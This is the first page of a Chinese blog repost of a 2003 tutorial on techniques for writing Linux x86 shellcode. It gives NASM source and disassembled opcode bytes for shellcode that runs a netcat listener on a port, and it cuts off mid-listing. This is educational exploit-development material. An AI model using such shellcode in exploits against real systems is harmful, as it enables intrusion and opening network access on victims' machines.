(转载)Exploit,shellcode经验技巧杂谈
热
(转载)Exploit,shellcode经验技巧杂谈
作者:闵涛 文章来源:闵涛的学习笔记 点击数:2088 更新时间:2009/4/25 0:45:03
Exploit,shellcode经验技巧杂谈 转自:http://www.xfocus.net 创建时间:2003-07-14 文章属性:原创 文章提交:OYXin (oyxin_at_ph4nt0m.net) OYXin OYXin@ph4nt0m.net Exploit,shellcode经验技巧谈 这篇文章不是教你如何去写exploit,shellcode,而是希望提供一些关于编写或者研究exploit,shellcode的经验和技巧。适合理解了shellcode编写原理的朋友。我看了很多相关文章,大部分的编写方法都是类似Aleph One的《Smashing The Stack For Fun And Profit》里面的方法。其中safemode.org的zillion所写的《Writing shellcode》文章特别吸引我,他提供的一种方法我认为很方便。我结合自己的测试将文中的一些技巧衔接起来。还有一些自己在学习exploit过程中遇到的问题和解决方法。希望对和我一样初学exploit的朋友们能有一点点的帮助。水平有限,错误在所难免,发现错误请跟我联系,不甚感激。 不打无准备的仗,我们最好先做好一些准备工作。可以参考一下我的系统环境。 系统环境:REDHAT 9.0, gcc version 3.2.2, NASM version 0.98.35,perl 5.8.0 言归正传吧,用汇编语言写好我们想要执行的程序的功能,流程还是类似常用的写shellcode asm的写法,这里我就不用/bin/sh做例子了。我要写一个打开nc监听一个端口的shellcode,测试目的,并没有绑定shell.首先vim ncshellcode.S,填写如下代码: BITS 32 jmp short callit doit: pop esi xor eax, eax mov byte [esi + 7], al ; 在/usr/nc后面加0 mov byte [esi + 10], al ; 在-l后面加0 mov byte [esi + 13], al ; 在-p后面加0 mov byte [esi + 18], al ; 在2003后面加0 mov long [esi + 19], esi ; 把字符串/usr/nc的地址放到AAAA所在的地方 lea ebx, [esi + 8] ; 得到字符串-l的地址 mov long [esi + 23], ebx ; 把字符串-l的地址放在BBBB lea ebx, [esi + 11] ; 得到字符串-p的地址 mov long [esi + 27], ebx ; 把字符串-p的地址放在CCCC lea ebx, [esi + 14] ; 得到字符串2003的地址 mov long [esi+ 31], ebx : 把字符串2003的地址放在DDDD mov long [esi + 35], eax ; 把NUll放在 EEEE mov byte al, 0x0b ; syscall 0x0b (execve) mov ebx, esi ; program lea ecx, [esi + 19] ; (/usr/nc -l -p 2002) lea edx, [esi + 35] ; NULL int 0x80 ; callit: call doit db ''''/usr/nc#-l#-p#2003#AAAABBBBCCCCDDDDEEEE'''' 思路其实和aleph one的是一样的,注意nasm的语法是intel的就可以了。注意db ''''/usr/nc#-l#-p#2003 #AAAABBBBCCCCDDDDEEEE'''',打#的就是要用一个字节的0填充的;AAAA,BBBB,CCCC....用来储存字符串地址的地址,这样写可以很大程度的避免由于粗心造成的错误,比如字节数计算不当等等。 写好源代码之后用nasm -o ncshellcode ncshellcode.S编译,编译好了就直接可以用ndisasm得到shellcode了。 [oyxin@OYXin shellcode]$ ndisasm -b 32 ncshellcode 00000000 EB33 jmp short 0x35 00000002 5E pop esi 00000003 31C0 xor eax,eax 00000005 884607 mov [esi+0x7],al 00000008 88460A mov [esi+0xa],al 0000000B 88460D mov [esi+0xd],al 0000000E 884612 mov [esi+0x12],al 00000011 897613 mov [esi+0x13],esi 00000014 8D5E08 lea ebx,[esi+0x8] 00000017 895E17 mov [esi+0x17],ebx 0000001A 8D5E0B lea ebx,[esi+0xb] 0000001D 895E1B mov [esi+0x1b],ebx 00000020 8D5E0E lea ebx,[esi+0xe] 00000023 895E1F mov [esi+0x1f],ebx 00000026 894623 mov [esi+0x23],eax 00000029 B00B mov al,0xb 0000002B 89F3 mov ebx,esi 0000002D 8D4E13 lea ecx,[esi+0x13] 00000030 8D5623 lea edx,[esi+0x23] 00000033 CD80 int 0x80 00000035 E8C8FFFFFF call 0x2 0000003A 2F das 0000003B 7573 jnz 0xb0 0000003D 722F jc 0x6e 0000003F 6E outsb 00000040 6323 arpl [ebx],sp 00000042 2D6C232D70 sub eax,0x702d236c 00000047 2332 and esi,[edx] 00000049 3030 xor [eax],dh 0000004B 3323 xor esp,[ebx] 0000004D 41 inc ecx 0000004E 41 inc ecx 0000004F 41 inc ecx 00000050 41&nb[1] [2] [3] 下一页
[操作系统 ]网络转载---64位操作系统与32位的区别 [Delphi程序 ]Self-Delete程序之Delphi版本,终于搞定了。 (转载… [SyBase ][Linux] Linux的一些Tips (转载) [SyBase ](转载)Linux内核漏洞浅析 [SyBase ][转载] linux指令大全 [SyBase ]教您如何安装使用Mplayer(转载www.linuxsir.org/b… [SyBase ](转载)Linux下源代码阅读工具lxr安装使用说明 [Sql Server ][转载] 编写安全的 Transact-SQL [Sql Server ]PostgreSQL 的昨天今天和明天 转载
教程录入:mintao 责任编辑:mintao
上一篇教程: 下载并测试了expat 下一篇教程: Expect 教程中文版
【字体:小 大 】【发表评论 】【加入收藏 】【告诉好友 】【打印此文 】【关闭窗口 】
注:本站部分文章源于互联网,版权归原作者所有!如有侵权,请原作者与本站联系,本站将立即删除! 本站文章除特别注明外均可转载,但需注明出处! [MinTao学以致用网]
网友评论: (只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
同类栏目
赞助链接
500 - 内部服务器错误。
500 - 内部服务器错误。
您查找的资源存在问题,因而无法显示。